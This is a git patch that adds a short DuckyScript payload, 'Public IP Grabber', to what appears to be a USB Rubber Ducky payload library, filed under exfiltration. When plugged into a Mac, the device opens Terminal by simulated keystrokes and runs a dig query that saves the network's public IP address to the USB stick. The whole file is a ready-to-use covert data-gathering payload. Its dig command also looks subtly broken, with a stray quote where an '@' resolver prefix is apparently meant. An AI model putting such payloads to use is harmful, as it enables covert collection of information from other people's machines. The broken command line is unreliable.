From 1a4d784d70cb3cc41135ed0aa4209512f71d1250 Mon Sep 17 00:00:00 2001 From: Matthew Kayne <45180131+matthewkayne@users.noreply.github.com> Date: Wed, 16 Feb 2022 19:07:07 +0000 Subject: [PATCH] Create payload.txt --- .../exfiltration/Public-IP-Grabber/payload.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 payloads/library/exfiltration/Public-IP-Grabber/payload.txt diff --git a/payloads/library/exfiltration/Public-IP-Grabber/payload.txt b/payloads/library/exfiltration/Public-IP-Grabber/payload.txt new file mode 100644 index 0000000..381b70a --- /dev/null +++ b/payloads/library/exfiltration/Public-IP-Grabber/payload.txt @@ -0,0 +1,18 @@ +REM Title: Public IP Grabber +REM Description: Extracts the public IP address of the current connected network onto the ducky +REM Author: Matthew Kayne +REM Category: Exfiltration +REM Target: macOS (Terminal) +REM Requires: Twin Duck firmware or separate USB stick (requires change to the path of the file) + + +DELAY 1000 +GUI SPACE +DELAY 400 +STRING terminal +ENTER +DELAY 200 +STRING dig +short txt ch whoami.cloudflare "1.0.0.1 > /Volumes/DUCKY/public-ip.txt +ENTER +DELAY 200 +ENTER